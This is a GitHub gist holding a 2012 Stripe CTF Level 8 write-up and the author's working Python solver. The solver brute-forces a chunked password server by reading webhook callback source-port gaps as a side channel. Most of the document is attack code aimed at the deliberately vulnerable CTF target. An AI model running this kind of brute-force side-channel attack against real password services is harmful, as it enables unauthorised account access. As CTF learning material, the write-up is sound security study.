Skip to content

Instantly share code, notes, and snippets.

@captn3m0
Created August 29, 2012 19:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save captn3m0/3517896 to your computer and use it in GitHub Desktop.
Save captn3m0/3517896 to your computer and use it in GitHub Desktop.
Stripe Level 8 Solution

The basic solver I made for the level8. I had to manually edit the file after each chunk, but I was too lazy to implement the chunk loop. Thanks to Bubba on IRC for recommending me to use httplib2 instead of httplib, it took down the jitter by quite a lot.

Python is not my first language, and I would never again use it for such a thing (unless I learn it better). I was trying with ruby, but didn't get the patterns then. I had a semi-working script in python before I learnt better.

The source is here if you are browsing this on gist.io

##Logic I didn't get the increment-by-chunk-number thing, and I was using an average of the port difference between last two requests. The average was 2 for most of my requests. For all the positives, the difference was above the average, which I used. I only ran this once for capturing the flag, when it took me about 5-8 minutes to capture the flag. This was on the last day of the ctf with about 15 hours remaining.

While running on production, I was getting about 15% of requests as a possible positive. Which meant about 150+22.5+3.375 or about 180 requests over the initial 1000. So I got each chunk in about 1180 requests, which is quite large compared to what I've seen on the level8-bonus server.


I might post stuff on http://captnemo.in on the ctf. Follow me on RSS.

import socket
import urllib
import httplib2
import re
import time
import math
http = httplib2.Http()
trueRe = re.compile(r'^\{"success": true\}$', re.MULTILINE)
httpHost = "https://level08-1.stripe-ctf.com/user-jcnhmacbnw/"
httpHost = 'http://localhost'
httpPort = 9000
HOST = '' # Symbolic name meaning all available interfaces
PORT = 4445 # Arbitrary non-privileged port
def tryPassword(pw):
response,content = http.request(httpHost+':'+str(httpPort)+'/',"POST", body="{{\"password\": \"{0}\", \"webhooks\": [ \"localhost:{1}\"]}}".format(pw, PORT))
#print content
# time.sleep(2)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)
def getPwResult(socket):
c, a = s.accept()
data = c.recv(1024)
#print data
if trueRe.search(data) is not None:
return (True, 0)
else:
return (False, a[1])
def threeDigit(n):
return "{0:003}".format(n)
def pad(str):
return str.ljust(12, '0')
def goodport(n1, n2):
return (math.fabs(n1-n2) <= 5)
fixed = ''
tryPassword('593222056000')
(true1, port1) = getPwResult(s)
tryPassword('593222056999')
(true2, port) = getPwResult(s)
avg = abs(port - port1)
prefixes=[]
for n in range(1000):
x=1000-n
tryPassword("593222056"+threeDigit(x))
(success, resport) = getPwResult(s)
diff = abs(resport-port)
if(avg==diff):
avg = (avg+diff)/2
else:
print "D: "+str(diff)+" x=[ "+str(x)+ " ] M="+str(avg)
prefixes.append(x)
port=resport
def run(prefixes,port,avg):
print "Left with "+ str(len(prefixes)) +" numbers"
if(len(prefixes)==1):
print prefixes[0]
print "DONE!"
return True
for x in prefixes:
tryPassword("593222056"+threeDigit(x))
(success, resport) = getPwResult(s)
diff = abs(resport-port)
if(avg==diff):
avg = (avg+diff)/2
#we kick out this number from prefixes
prefixes.pop(prefixes.index(x))
else:
print "D: "+str(diff)+" x=[ "+str(x)+ " ] M="+str(avg)
port=resport
run(prefixes,port,avg)
run(prefixes,port,avg)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment